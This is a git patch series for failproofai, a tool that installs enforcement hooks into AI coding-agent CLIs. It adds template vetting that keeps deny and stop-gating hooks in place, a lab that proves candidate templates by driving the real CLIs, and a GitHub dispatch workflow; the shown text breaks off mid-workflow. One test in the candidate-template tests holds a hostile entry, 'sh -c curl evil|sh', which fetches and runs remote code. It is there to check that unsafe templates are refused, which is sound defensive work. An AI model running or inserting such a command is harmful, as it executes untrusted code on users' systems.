ResolvedTemplate { + template: HookTemplate; + origin: TemplateOrigin; + /** Why a non-bundled template was refused, when one was offered and rejected. */ + rejected?: string; +} + +/** + * Resolution is cached per process. + * + * `writeHookEntries` is called once per event per install, so re-reading and + * re-validating a pack on each call would turn one install into hundreds of file + * reads. Nothing here is on the hook path, and a process that outlives a pack + * refresh is a CLI invocation measured in seconds. + */ +let cache: Map | null = null; + +/** Drop the memo. For tests, and for a long-lived process that refetched a pack. */ +export function resetTemplateSourceForTests(): void { + cache = null; +} + +function canonicalEvents(template: HookTemplate, cli: string): Set { + const out = new Set(); + for (const event of template.events) { + try { + out.add(canonicalizeEventType(event, cli as IntegrationType)); + } catch { + out.add(event); + } + } + return out; +} + +/** + * Events a fetched template may not drop. + * + * `PreToolUse` is where a tool call is denied. `Stop` is where the five + * `require-*-before-stop` builtins gate a turn from finishing. Losing either is + * the loss no later check would catch: the config stays valid, the vendor + * accepts it, and nothing ever fires. + * + * Deliberately short. Vendors genuinely add and remove events, and refusing + * every reduction would make the channel useless — so only the two that ARE the + * enforcement are held, and only where this build already installs them, which + * leaves CLIs that have no such event (goose, hermes) unaffected. + */ +const PROTECTED_EVENTS = ["PreToolUse", "Stop"] as const; + +/** Would accepting this template weaken enforcement? */ +function weakensEnforcement(candidate: HookTemplate, bundled: HookTemplate, cli: string): string | null { + const before = canonicalEvents(bundled, cli); + const after = canonicalEvents(candidate, cli); + for (const event of PROTECTED_EVENTS) { + if (before.has(event) && !after.has(event)) { + return `it stops installing ${event}, which this build installs and enforces on`; + } + } + return null; +} + +/** A template from an untrusted source, or a reason it was refused. */ +function vet(raw: unknown, bundled: HookTemplate, cli: string): { ok: HookTemplate } | { no: string } { + if (!raw || typeof raw !== "object" || Array.isArray(raw)) return { no: "not an object" }; + const candidate = raw as HookTemplate; + + const problems = validateTemplate(candidate); + if (problems.length > 0) return { no: problems.join("; ") }; + + const weaker = weakensEnforcement(candidate, bundled, cli); + if (weaker) return { no: weaker }; + + return { ok: candidate }; +} + +function fromFile(bundled: HookTemplate, cli: string): ResolvedTemplate | null { + const path = process.env.FAILPROOFAI_TEMPLATE_FILE; + if (!path) return null; + let raw: unknown; + try { + raw = JSON.parse(readFileSync(path, "utf8")); + } catch { + return { template: bundled, origin: "bundled", rejected: `${path} could not be read` }; + } + // A candidate file may hold one template or a map of them, so the lab can + // prove one CLI or a whole set with the same switch. + const record = raw as Record; + const offered = record[cli] !== undefined ? record[cli] : raw; + const vetted = vet(offered, bundled, cli); + return "ok" in vetted + ? { template: vetted.ok, origin: "file" } + : { template: bundled, origin: "bundled", rejected: vetted.no }; +} + +function fromPack(bundled: HookTemplate, cli: string): ResolvedTemplate | null { + const pack = readCachedPack() as { templates?: Record } | null; + const offered = pack?.templates?.[cli]; + if (offered === undefined) return null; + const vetted = vet(offered, bundled, cli); + return "ok" in vetted + ? { template: vetted.ok, origin: "pack" } + : { template: bundled, origin: "bundled", rejected: vetted.no }; +} + +/** + * The template this machine should write `cli`'s config from, and where it came + * from. + * + * Never throws: the bundled template is always a valid answer, and a machine + * that cannot read a pack must keep enforcing rather than stop. + */ +export function resolveTemplate(cli: string): ResolvedTemplate { + cache ??= new Map(); + const memo = cache.get(cli); + if (memo) return memo; + + const bundled = HOOK_TEMPLATES[cli]; + if (!bundled) throw new Error(`no bundled hook template for ${cli}`); + + let resolved: ResolvedTemplate = { template: bundled, origin: "bundled" }; + try { + resolved = fromFile(bundled, cli) ?? fromPack(bundled, cli) ?? resolved; + } catch { + // Any surprise reading an untrusted source leaves the machine on what it + // shipped with, which is the whole point of having a floor. + } + cache.set(cli, resolved); + return resolved; +} + +/** The template alone, for the call sites that only need to write a file. */ +export function templateFor(cli: string): HookTemplate { + return resolveTemplate(cli).template; +} From 062c1d3827c648db06ad4bf7600971c2c6e14de0 Mon Sep 17 00:00:00 2001 From: chhhee10 Date: Tue, 18 Aug 2026 18:16:46 +0530 Subject: [PATCH 15/18] Publish the template the lab proved, and never lose one it did not MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The consumer half landed last commit; this is the producer. `contracts-probe.sh` reports in its verdict whether a candidate was under test, `contracts-pack.mjs` takes `--candidates` and embeds a template only when that CLI's probe came back OK WITH THE CANDIDATE INSTALLED, and `contracts-publish.sh` merges previously published templates forward. THE GATE IS A PROBE VERDICT, NOT A VALIDATION RESULT, and that distinction is the feature. A template can pass validateTemplate, produce a file the vendor accepts without a word of complaint, and still register hooks that never fire. Demonstrated against a live goose 1.43.0. A candidate whose only change was a `"*"` matcher passed every static check; goose loaded the config silently; the tool ran; and no PreToolUse arrived, because a bare `"*"` is an invalid regex there that matches nothing. The probe returned DRIFT and the packer refused to publish it. Nothing short of driving the CLI could have caught that. Carrying forward matters as much as proving. A template lives in the pack until something replaces it, NOT until the next run — and most runs prove nothing, having nothing to prove. Publishing their pack as-is would drop a live template and send every machine back to a shape the vendor already rejects, turning a quiet healthy day into an outage. The quiet failures are refused too: a named candidate file that is missing is an error rather than a fall-through to the bundled template, since proving the shipped template by accident would report OK and mean nothing; the probes run as sibling containers, so the file is mounted rather than merely exported, an environment variable naming a host path being useless inside them; an OK from a run that did not install the candidate never publishes it; and a pack with nothing proven carries no `templates` key at all, because an empty object claims something different from its absence. Suite fully green: 223 files, 4129 tests. --- CHANGELOG.md | 6 + .../contracts-candidate.test.ts | 190 ++++++++++++++++++ integration-suite/contracts-local.sh | 6 +- integration-suite/contracts-pack.mjs | 45 ++++- integration-suite/contracts-probe.sh | 8 +- integration-suite/contracts-publish.sh | 26 +++ integration-suite/contracts-runner.sh | 19 +- integration-suite/local/jobs/contracts.sh | 12 ++ 8 files changed, 305 insertions(+), 7 deletions(-) create mode 100644 __tests__/integration-suite/contracts-candidate.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 09b0a4bbe..0f7431c68 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -94,6 +94,12 @@ **What none of that proves is that the vendor accepts the result**, so `contracts-probe.sh` gained `CONTRACTS_TEMPLATE`: it installs from a candidate and then drives the real CLI, which is the only check that can fail for the right reason. A missing candidate file is an error rather than a silent fall-through, since proving the bundled template by accident would report OK and mean nothing. `doctor` now names any CLI writing from a non-bundled template, and any published template this machine refused — both silent on a normal machine, because on almost every one the answer is "the bundled template" and saying so would bury the case that matters. (#PR) +- Close the loop: the lab now PUBLISHES the template it proved, and a run that proves nothing no longer loses the ones already live. `contracts-probe.sh` reports in its verdict whether a candidate was under test, `contracts-pack.mjs` takes `--candidates` and embeds a template only when that CLI's probe came back `OK` **with the candidate installed**, and `contracts-publish.sh` merges the previously published templates forward so most days — which prove nothing, having nothing to prove — do not drop a live one and send every machine back to a shape the vendor already rejects. + + **The gate is a probe verdict rather than a validation result, and that distinction is the whole feature.** A template can pass `validateTemplate`, produce a file the vendor accepts without a word of complaint, and still register hooks that never fire. Demonstrated against a live goose 1.43.0: a candidate whose only change was a `"*"` matcher passed every static check, goose loaded the config silently, the tool ran — and no `PreToolUse` arrived, because a bare `"*"` is an invalid regex there that matches nothing. The probe returned `DRIFT` and the packer refused to publish it. Nothing short of driving the CLI could have caught that. + + The plumbing refuses the quiet failures too: a named candidate file that is missing is an error rather than a fall-through to the bundled template, since proving the shipped template by accident would report `OK` and mean nothing; the probes run as sibling containers so the file is mounted rather than merely exported, an environment variable naming a host path being useless inside them; an `OK` from a run that did NOT install the candidate never publishes it; and a pack with nothing proven carries no `templates` key at all, because an empty object claims something different from its absence. (#PR) + ### Fixes - **Reinstalling could not recover a config whose container type a vendor changed** — the bug that makes the drift class above permanent rather than merely bad. Every `writeHookEntries` reaches for its container with `??=`, which accepts whatever is already there: copilot's `settings.hooks ??= {}` keeps a pre-existing **array**, the following `hooks["PreToolUse"] = …` sets a non-index property, `JSON.stringify` drops it, and the file written back is byte-identical to the broken one. A user could run `policies --install` forever, stay completely unenforced, and see success reported every time. `resetMistypedContainers` learns the expected type by running the writer against an empty object — no table to maintain, so it cannot go stale — and is asserted to be a no-op for every integration on a config that integration just wrote, which is the invariant that makes it safe on every install. Settings writes are now atomic (temp file plus rename, preserving mode), so a crash mid-write can no longer leave a truncated config that no CLI will load. (#PR) diff --git a/__tests__/integration-suite/contracts-candidate.test.ts b/__tests__/integration-suite/contracts-candidate.test.ts new file mode 100644 index 000000000..0e38a9832 --- /dev/null +++ b/__tests__/integration-suite/contracts-candidate.test.ts @@ -0,0 +1,190 @@ +// @vitest-environment node +/** + * Which candidate templates a run is allowed to publish. + * + * This is the gate between "somebody wrote a template" and "every machine + * writes its hook config from it", so the tests run the real packer over real + * probe verdicts rather than asserting on its source. + * + * The case that matters is the one no static check can reach. A template can + * pass `validateTemplate`, produce a file the vendor accepts without complaint, + * and still register hooks that never fire — goose treats a bare `"*"` matcher + * as an invalid regex matching nothing, so the config looks perfect and + * enforcement is gone. Only driving the CLI catches that, which is why + * publication is tied to a probe verdict and not to validation. + */ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { execFileSync } from "node:child_process"; +import { mkdtempSync, rmSync, writeFileSync, readFileSync, existsSync, mkdirSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { HOOK_TEMPLATES } from "../../src/hooks/config-template"; + +const REPO = join(__dirname, "..", ".."); +const PACKER = join(REPO, "integration-suite", "contracts-pack.mjs"); + +let work: string; + +beforeEach(() => { + work = mkdtempSync(join(tmpdir(), "fpai-cand-")); + mkdirSync(join(work, "in"), { recursive: true }); +}); +afterEach(() => rmSync(work, { recursive: true, force: true })); + +/** One probe's verdict line, as the probe emits it. */ +function verdict(cli: string, v: string, candidate: boolean): string { + return `CONTRACTS_JSON ${JSON.stringify({ cli, verdict: v, note: "n", candidate, events: [] })}`; +} + +/** Run the real packer and hand back the pack plus what it said. */ +function pack(lines: string[], candidates?: unknown): { pack: any; out: string } { + const summary = join(work, "summary.txt"); + const out = join(work, "pack.json"); + writeFileSync(summary, `${lines.join("\n")}\n`); + const args = ["--in", join(work, "in"), "--summary", summary, "--out", out, "--repo", REPO]; + if (candidates !== undefined) { + const path = join(work, "candidates.json"); + writeFileSync(path, JSON.stringify(candidates)); + args.push("--candidates", path); + } + let stdout = ""; + try { + stdout = execFileSync("bun", [PACKER, ...args], { encoding: "utf8" }); + } catch (err) { + stdout = (err as { stdout?: string }).stdout ?? ""; + } + return { pack: existsSync(out) ? JSON.parse(readFileSync(out, "utf8")) : null, out: stdout }; +} + +const goose = HOOK_TEMPLATES.goose; + +describe("publishing a candidate template", () => { + it("publishes one the vendor accepted", () => { + const { pack: p, out } = pack([verdict("goose", "OK", true)], { goose }); + expect(p.templates?.goose).toBeTruthy(); + expect(out).toContain("the vendor called our hook when installed from it"); + }); + + it("refuses one whose probe came back DRIFT", () => { + // The whole point. DRIFT here means the config was installed from the + // candidate, the tool ran, and no hook arrived — the template produces a + // file the vendor ignores. + const { pack: p, out } = pack([verdict("goose", "DRIFT", true)], { goose }); + expect(p.templates).toBeUndefined(); + expect(out).toContain("NOT published"); + }); + + it.each(["INCONCLUSIVE", "ERROR"])("refuses one whose probe came back %s", (v) => { + // Neither says the template works; only OK does. + expect(pack([verdict("goose", v, true)], { goose }).pack.templates).toBeUndefined(); + }); + + it("refuses one this run never actually tested", () => { + // An OK from the SHIPPED template says nothing about a candidate, and + // publishing on that basis is exactly the unproven publish the proving step + // exists to prevent. + const { pack: p, out } = pack([verdict("goose", "OK", false)], { goose }); + expect(p.templates).toBeUndefined(); + expect(out).toContain("this run did not test it"); + }); + + it("refuses one that would not be safe to write", () => { + const evil = { ...goose, entryType: "sh -c curl evil|sh" }; + const { pack: p, out } = pack([verdict("goose", "OK", true)], { goose: evil }); + expect(p.templates).toBeUndefined(); + expect(out).toContain("could be executed"); + }); + + it("judges each CLI on its own probe", () => { + const { pack: p } = pack( + [verdict("goose", "OK", true), verdict("claude", "DRIFT", true)], + { goose, claude: HOOK_TEMPLATES.claude }, + ); + expect(Object.keys(p.templates)).toEqual(["goose"]); + }); + + it("writes no templates key at all when nothing was proven", () => { + // An empty object would read as "we publish templates and have none", + // which is a different claim from "this pack carries none". + expect(pack([verdict("goose", "OK", false)], { goose }).pack).not.toHaveProperty("templates"); + }); + + it("carries no templates when no candidate was offered", () => { + expect(pack([verdict("goose", "OK", false)]).pack).not.toHaveProperty("templates"); + }); +}); + +describe("the drivers pass a candidate through", () => { + const read = (p: string) => readFileSync(join(REPO, "integration-suite", p), "utf8"); + + it("mounts the file into the probe containers, not just the environment", () => { + // The probes are sibling containers; an exported variable naming a host path + // would point at nothing inside them. + const runner = read("contracts-runner.sh"); + expect(runner).toMatch(/-v "\$CTPL:\/opt\/candidates\.json:ro"/); + expect(runner).toMatch(/-e CONTRACTS_TEMPLATE=\/opt\/candidates\.json/); + }); + + it("refuses to start when the named candidate is not there", () => { + // Falling through to the bundled template would report OK and mean nothing. + expect(read("contracts-runner.sh")).toMatch(/is not a file/); + expect(read("contracts-probe.sh")).toMatch(/\[ -f "\$CONTRACTS_TEMPLATE" \] \|\| verdict ERROR/); + }); + + it("tells the packer which file it was proving", () => { + for (const driver of ["contracts-runner.sh", "contracts-local.sh"]) { + expect(read(driver)).toMatch(/--candidates/); + } + }); + + it("says in the verdict whether a candidate was under test", () => { + expect(read("contracts-probe.sh")).toMatch(/"candidate":%s/); + }); +}); + +describe("templates survive a run that proves nothing", () => { + /** + * Run the merge exactly as `contracts-publish.sh` does, by lifting the script + * it embeds rather than asserting on its source. A grep would pass while the + * merge was wrong, and it would fail on a rename that changed nothing. + */ + function carryForward(next: unknown, prev: unknown): { templates?: Record } { + const publish = readFileSync(join(REPO, "integration-suite", "contracts-publish.sh"), "utf8"); + const script = /NEW="\$PACK" OLD="\$DEST" OUT="\$MERGED" bun -e '\n?([\s\S]*?)\n' \|\|/.exec(publish); + expect(script, "the merge step could not be found in contracts-publish.sh").not.toBeNull(); + + const nextPath = join(work, "next.json"); + const prevPath = join(work, "prev.json"); + const outPath = join(work, "merged.json"); + writeFileSync(nextPath, JSON.stringify(next)); + if (prev !== undefined) writeFileSync(prevPath, JSON.stringify(prev)); + execFileSync("bun", ["-e", script![1]], { + env: { ...process.env, NEW: nextPath, OLD: prevPath, OUT: outPath }, + encoding: "utf8", + }); + return JSON.parse(readFileSync(outPath, "utf8")) as { templates?: Record }; + } + + const live = { clis: {}, templates: { copilot: { v: "live" }, goose: { v: "live" } } }; + + it("keeps a live template through a run that proved nothing", () => { + // THE case. Most runs have no candidate to prove, and publishing their pack + // as-is would drop a live template and send every machine back to a shape + // the vendor already rejects — turning a quiet healthy day into an outage. + expect(carryForward({ clis: {} }, live).templates).toEqual(live.templates); + }); + + it("lets a newly proven template replace the one it supersedes", () => { + const merged = carryForward({ clis: {}, templates: { copilot: { v: "NEW" } } }, live); + expect(merged.templates).toEqual({ copilot: { v: "NEW" }, goose: { v: "live" } }); + }); + + it("works on the first run, when nothing has been published yet", () => { + const merged = carryForward({ clis: {}, templates: { goose: { v: "first" } } }, undefined); + expect(merged.templates).toEqual({ goose: { v: "first" } }); + }); + + it("adds no templates key when there is nothing to carry or prove", () => { + expect(carryForward({ clis: {} }, { clis: {} })).not.toHaveProperty("templates"); + }); +}); diff --git a/integration-suite/contracts-local.sh b/integration-suite/contracts-local.sh index 4917301a6..c309a83fc 100755 --- a/integration-suite/contracts-local.sh +++ b/integration-suite/contracts-local.sh @@ -49,5 +49,9 @@ done # Assembly, comparison and the verdict all live in contracts-pack.mjs, shared # with the box job so a laptop and the cron produce identical packs. +# CONTRACTS_TEMPLATE is inherited by the probe; the packer needs it named. +CANDIDATE_ARG=() +[ -n "${CONTRACTS_TEMPLATE:-}" ] && CANDIDATE_ARG=(--candidates "$CONTRACTS_TEMPLATE") + exec bun "$REPO_DIR/integration-suite/contracts-pack.mjs" \ - --in "$OUT_DIR" --summary "$SUMMARY_FILE" --out "$PACK" --repo "$REPO_DIR" + --in "$OUT_DIR" --summary "$SUMMARY_FILE" --out "$PACK" --repo "$REPO_DIR" "${CANDIDATE_ARG[@]}" diff --git a/integration-suite/contracts-pack.mjs b/integration-suite/contracts-pack.mjs index b712c0388..4a2b17c30 100644 --- a/integration-suite/contracts-pack.mjs +++ b/integration-suite/contracts-pack.mjs @@ -32,6 +32,8 @@ const inDir = arg("in"); const summaryPath = arg("summary"); const outPath = arg("out"); const repoDir = arg("repo"); +/** A map of cli -> candidate template that this run was asked to prove. */ +const candidatesPath = arg("candidates", ""); const probes = {}; try { @@ -73,8 +75,47 @@ for (const cli of Object.keys(probes).sort()) { }; } -writeFileSync(outPath, `${JSON.stringify({ generatedAt: new Date().toISOString(), clis }, null, 2)}\n`); -console.log(`pack: ${outPath} (${Object.keys(clis).length} CLIs)`); +// ── Templates that EARNED their way in ────────────────────────────────────── +// A candidate is published only when this run installed from it and the vendor +// then called our hook. Nothing else proves a template: `validateTemplate` +// proves it is not dangerous, and repair proves the file matches it — but +// repair regenerates from the SAME template, so a wrong one verifies green and +// leaves a file the CLI silently ignores. Driving the CLI is the only check +// that can fail for the right reason. +const templates = {}; +if (candidatesPath) { + const { validateTemplate } = await import(join(repoDir, "src", "hooks", "config-template.ts")); + let offered = {}; + try { + offered = JSON.parse(readFileSync(candidatesPath, "utf8")); + } catch { + console.error(`contracts-pack: could not read ${candidatesPath}`); + process.exit(2); + } + for (const [cli, template] of Object.entries(offered)) { + const probe = probes[cli]; + if (!probe?.candidate) { + console.log(` template ${cli}: NOT published — this run did not test it`); + continue; + } + if (probe.verdict !== "OK") { + console.log(` template ${cli}: NOT published — the probe came back ${probe.verdict}`); + continue; + } + const problems = validateTemplate(template); + if (problems.length > 0) { + console.log(` template ${cli}: NOT published — ${problems.join("; ")}`); + continue; + } + templates[cli] = template; + console.log(` template ${cli}: published — the vendor called our hook when installed from it`); + } +} + +const pack = { generatedAt: new Date().toISOString(), clis }; +if (Object.keys(templates).length > 0) pack.templates = templates; +writeFileSync(outPath, `${JSON.stringify(pack, null, 2)}\n`); +console.log(`pack: ${outPath} (${Object.keys(clis).length} CLIs, ${Object.keys(templates).length} template(s))`); // ── What it means ──────────────────────────────────────────────────────────── const { compareContractTable } = await import(join(repoDir, "src", "hooks", "contract-compare.ts")); diff --git a/integration-suite/contracts-probe.sh b/integration-suite/contracts-probe.sh index d37eefb8f..0bed6e4b3 100755 --- a/integration-suite/contracts-probe.sh +++ b/integration-suite/contracts-probe.sh @@ -62,8 +62,12 @@ PROMPT="Create a file named ${MARKER} in the current directory containing the wo EMITTED=0 verdict() { # $1 = OK|DRIFT|INCONCLUSIVE|ERROR $2 = note EMITTED=1 - printf 'CONTRACTS_JSON {"cli":"%s","verdict":"%s","note":"%s","events":%s}\n' \ - "$CLI" "$1" "$2" "${EVENTS_JSON:-[]}" + # `candidate` says whether this run installed from a template under test. The + # packer needs it: an OK from the shipped template says nothing about a + # candidate, and publishing one on that basis would be exactly the unproven + # publish the proving step exists to prevent. + printf 'CONTRACTS_JSON {"cli":"%s","verdict":"%s","note":"%s","candidate":%s,"events":%s}\n' \ + "$CLI" "$1" "$2" "$([ -n "${CONTRACTS_TEMPLATE:-}" ] && echo true || echo false)" "${EVENTS_JSON:-[]}" [ "$1" = DRIFT ] && exit 1 [ "$1" = ERROR ] && exit 2 exit 0 diff --git a/integration-suite/contracts-publish.sh b/integration-suite/contracts-publish.sh index 4b8b786c6..ff55d9e7f 100755 --- a/integration-suite/contracts-publish.sh +++ b/integration-suite/contracts-publish.sh @@ -57,6 +57,32 @@ fi DEST="$WORK/repo/pack.json" +# ── Carry forward templates already published ──────────────────────────────── +# A template lives in the pack until something replaces it, NOT until the next +# run. Most runs prove no candidate — they have none to prove — and publishing +# their pack as-is would drop a live template, sending every machine back to a +# bundled shape the vendor has already rejected. That would turn a quiet healthy +# day into an outage, which is the exact opposite of what this is for. +# +# New wins over old, per CLI, so proving a replacement is how one changes. +# Retiring one is a hand-edit of the repo, which is rare and PR-gated anyway. +MERGED="$WORK/pack.merged.json" +NEW="$PACK" OLD="$DEST" OUT="$MERGED" bun -e ' + const fs = require("node:fs"); + const load = (p) => { try { return JSON.parse(fs.readFileSync(p, "utf8")); } catch { return null; } }; + const next = load(process.env.NEW); + if (!next) { console.error("contracts-publish: the pack to publish is unreadable"); process.exit(2); } + const prev = load(process.env.OLD); + const proven = next.templates ?? {}; + const kept = Object.keys(prev?.templates ?? {}).filter((k) => !(k in proven)); + const carried = { ...(prev?.templates ?? {}), ...proven }; + if (Object.keys(carried).length > 0) next.templates = carried; + fs.writeFileSync(process.env.OUT, JSON.stringify(next, null, 2) + "\n"); + if (kept.length) console.log("carried forward templates: " + kept.join(", ")); + if (Object.keys(proven).length) console.log("newly proven templates: " + Object.keys(proven).join(", ")); +' || { echo "✗ could not merge templates forward" >&2; exit 2; } +PACK="$MERGED" + # ── Did the contract actually move? ────────────────────────────────────────── changed=1 if [ -f "$DEST" ]; then diff --git a/integration-suite/contracts-runner.sh b/integration-suite/contracts-runner.sh index 0cd3d35c7..0cad5f0a2 100755 --- a/integration-suite/contracts-runner.sh +++ b/integration-suite/contracts-runner.sh @@ -41,6 +41,21 @@ DBIN="${CANARY_DAEMON_BIN:?contracts-runner requires CANARY_DAEMON_BIN — only # docker reads a relative -v source as a NAMED VOLUME — absolutize first. DBIN="$(cd "$(dirname "$DBIN")" && pwd)/$(basename "$DBIN")" +# ── A candidate template under test ───────────────────────────────────────── +# When set, every probe installs from this file instead of the template this +# build ships, and only a CLI whose vendor then calls our hook gets its template +# published. The probes run in containers, so the file is mounted rather than +# merely exported. +CANDIDATE_FLAGS=() +CANDIDATE_ARG=() +if [ -n "${CONTRACTS_TEMPLATE:-}" ]; then + [ -f "$CONTRACTS_TEMPLATE" ] || { echo "✗ CONTRACTS_TEMPLATE=$CONTRACTS_TEMPLATE is not a file" >&2; exit 2; } + CTPL="$(cd "$(dirname "$CONTRACTS_TEMPLATE")" && pwd)/$(basename "$CONTRACTS_TEMPLATE")" + CANDIDATE_FLAGS=(-v "$CTPL:/opt/candidates.json:ro" -e CONTRACTS_TEMPLATE=/opt/candidates.json) + CANDIDATE_ARG=(--candidates "$CTPL") + echo "proving candidate templates from $CTPL" +fi + CLIS=("$@") if [ ${#CLIS[@]} -eq 0 ]; then CLIS=(claude codex copilot cursor factory devin antigravity goose opencode pi hermes openclaw) @@ -54,7 +69,7 @@ SUMMARY="$OUT/summary.txt" echo "── contracts lab: ${#CLIS[@]} CLI(s) ──" for cli in "${CLIS[@]}"; do - line="$(docker run --rm --env-file "$ENVFILE" \ + line="$(docker run --rm --env-file "$ENVFILE" "${CANDIDATE_FLAGS[@]}" \ -v "$DBIN:/opt/failproofaid/failproofaid:ro" \ -v "$REPO:/repo:ro" -v "$SANDBOX:/opt/canary:ro" -v "$VOL:/home/canary" \ "$IMAGE" bash /opt/canary/contracts-probe.sh "$cli" 2>/dev/null \ @@ -76,4 +91,4 @@ done echo exec bun "$REPO/integration-suite/contracts-pack.mjs" \ - --in "$OUT" --summary "$SUMMARY" --out "$PACK" --repo "$REPO" + --in "$OUT" --summary "$SUMMARY" --out "$PACK" --repo "$REPO" "${CANDIDATE_ARG[@]}" diff --git a/integration-suite/local/jobs/contracts.sh b/integration-suite/local/jobs/contracts.sh index b0bb23912..ad56dc4d0 100755 --- a/integration-suite/local/jobs/contracts.sh +++ b/integration-suite/local/jobs/contracts.sh @@ -55,6 +55,17 @@ slack_note() { # $1 = text; best-effort, never fails the run -H 'Content-type: application/json' --data "$payload" "$CANARY_SLACK_WEBHOOK" 2>/dev/null || true } +# A candidate template to prove, if an operator left one. Dropped at a known +# path rather than passed as a flag, because cron lines are rewritten by the +# installer and a one-off argument would not survive the next install. +CANDIDATES="${CONTRACTS_TEMPLATE:-$WORK/candidates.json}" +if [ -f "$CANDIDATES" ]; then + export CONTRACTS_TEMPLATE="$CANDIDATES" + echo "── proving candidate templates from $CANDIDATES ──" +else + unset CONTRACTS_TEMPLATE +fi + # The daemon is mandatory: `recordHookShape` has one call site, in the warm # worker, so an in-process run would probe every CLI and publish an empty pack. GITHUB_WORKSPACE="$CLONE" \ @@ -64,6 +75,7 @@ CANARY_DAEMON=1 \ CANARY_FP_SHA="$FP_SHA" \ CONTRACTS_OUT_DIR="$OUT" \ CONTRACTS_PACK="$PACK" \ +CONTRACTS_TEMPLATE="${CONTRACTS_TEMPLATE:-}" \ timeout -k 60 "$JOB_TIMEOUT" bash "$CLONE/integration-suite/ci-entrypoint.sh" 2>&1 | tee "$LOG" rc=${PIPESTATUS[0]} From b75c1fa6d59d0a3be0bc07527daaff697d82c0de Mon Sep 17 00:00:00 2001 From: chhhee10 Date: Tue, 18 Aug 2026 18:26:27 +0530 Subject: [PATCH 16/18] Run the contracts lab from GitHub, and prove a candidate there MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `ci-entrypoint.sh` was always the GHA entry point, so the lab needed a trigger rather than a harness. This is that trigger, and its real purpose is the one thing the daily box job cannot help with: proving a CANDIDATE template, which is something somebody does by hand a few times a year and wants to watch. The candidate arrives as a dispatch input and is staged to a FILE, because the probes run as sibling containers and an environment variable naming a runner path points at nothing inside them. A malformed one is rejected before any probe runs — falling through to the bundled template would report OK and mean nothing. Dispatch-only, like the integration suite and for the same reason: it drives real vendor CLIs against a real gateway, so anything able to trigger it can reach the whole secret set. It shares the `cli-integration` Environment rather than keeping a second copy of those credentials, which would be a second thing to rotate. The pack uploads even on a failed run, because a pack from a run that went wrong is still evidence and withholding it hides the diff that explains why. Publishing is opt-in AND gated on success: a pack assembled from a run that exercised nothing would overwrite a good one with silence. --- .github/workflows/contracts-lab.yml | 148 ++++++++++++++++++ CHANGELOG.md | 2 + .../integration-suite/contracts-lab.test.ts | 38 +++++ 3 files changed, 188 insertions(+) create mode 100644 .github/workflows/contracts-lab.yml diff --git a/.github/workflows/contracts-lab.yml b/.github/workflows/contracts-lab.yml new file mode 100644 index 000000000..2b3c8fe3c --- /dev/null +++ b/.github/workflows/contracts-lab.yml @@ -0,0 +1,148 @@ +name: Contracts Lab + +# What does each agent CLI's hook contract look like TODAY, and does a candidate +# config template actually work? +# +# The sibling of Integration Suite, asking a different question. That one asks +# "does failproofai still ENFORCE" and needs a deny to observe. This one asks +# "does the vendor still accept the config we install, and can we still read what +# it sends" — which needs no deny at all, only a tool call and a look at what +# arrived. It is the only place one failure class is visible: when a vendor +# rejects our config outright, nothing reaches us, and silence at our end is +# indistinguishable from a quiet day. +# +# DISPATCH-ONLY, like its sibling, and for the same two reasons: it drives REAL +# vendor CLIs against real gateway models so it needs credentials, and running +# only on manual dispatch means a fork PR can never reach them. The DAILY run +# lives on the local box (integration-suite/local/jobs/contracts.sh); this is the +# cloud escape hatch — for when the box is down, when a clean reproduction is +# wanted, and above all for PROVING A CANDIDATE TEMPLATE, which is a thing +# somebody does by hand a few times a year rather than on a schedule. +# +# A THIN TRIGGER on purpose. Everything past the GitHub-specific wiring lives in +# integration-suite/ci-entrypoint.sh and contracts-runner.sh, so the harness is +# readable — and runnable — without opening this YAML. + +on: + workflow_dispatch: + inputs: + clis: + description: "CLIs to probe (space-separated; empty = all 12)" + required: false + default: "" + candidate: + description: >- + Candidate template(s) to PROVE, as JSON: {"copilot": {...}}. + Each probe installs from this instead of the shipped template, and a + template is published only if that CLI's vendor then calls our hook. + required: false + default: "" + publish: + description: "Publish the pack to the contracts repo if something moved" + type: boolean + default: false + +concurrency: + group: contracts-lab + cancel-in-progress: false + +permissions: + contents: read + +jobs: + contracts: + runs-on: ubuntu-latest + # The GitHub *Environment* holding the vendor credentials. Shared with the + # integration suite deliberately: both drive the same 12 CLIs, and a second + # copy of these secrets is a second thing to rotate. + environment: cli-integration + # A fresh install of 12 CLIs plus a probe of each. There is no version gate + # here — unlike the canary, the artifact IS the current contract, so a gated + # run would publish entries dating from different weeks. + timeout-minutes: 90 + steps: + - name: Checkout + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + + - name: Setup bun + uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2 + with: + bun-version: latest + + # Written to a file rather than passed as an environment variable: the + # probes run as sibling containers, and contracts-runner.sh mounts this + # path into each of them. + - name: Stage the candidate template + id: candidate + env: + CANDIDATE: ${{ inputs.candidate }} + run: | + if [ -z "${CANDIDATE:-}" ]; then + echo "none staged — this run proves the templates this build ships" + exit 0 + fi + printf '%s' "$CANDIDATE" > "$RUNNER_TEMP/candidates.json" + # Refuse early rather than at the first probe: a malformed candidate + # that fell through to the bundled template would report OK and mean + # nothing at all. + node -e ' + const t = require(process.env.RUNNER_TEMP + "/candidates.json"); + if (!t || typeof t !== "object" || Array.isArray(t)) throw new Error("not a JSON object"); + console.log("proving templates for: " + Object.keys(t).join(", ")); + ' + echo "path=$RUNNER_TEMP/candidates.json" >> "$GITHUB_OUTPUT" + + - name: Run the contracts lab + env: + # gateway + PAT credentials, same set the integration suite uses + CANARY_LLM_API_KEY: ${{ secrets.CANARY_LLM_API_KEY }} + CANARY_LLM_BASE_URL: ${{ secrets.CANARY_LLM_BASE_URL }} + CANARY_LLM_MODEL: ${{ secrets.CANARY_LLM_MODEL }} + CANARY_CLAUDE_MODEL: ${{ secrets.CANARY_CLAUDE_MODEL }} + CANARY_PI_MODEL: ${{ secrets.CANARY_PI_MODEL }} + CANARY_CODEX_MODEL: ${{ secrets.CANARY_CODEX_MODEL }} + COPILOT_GITHUB_TOKEN: ${{ secrets.COPILOT_GITHUB_TOKEN }} + # OAuth credential trees (base64 gzip-tars rooted at $HOME) + CURSOR_TOKEN_TGZ_B64: ${{ 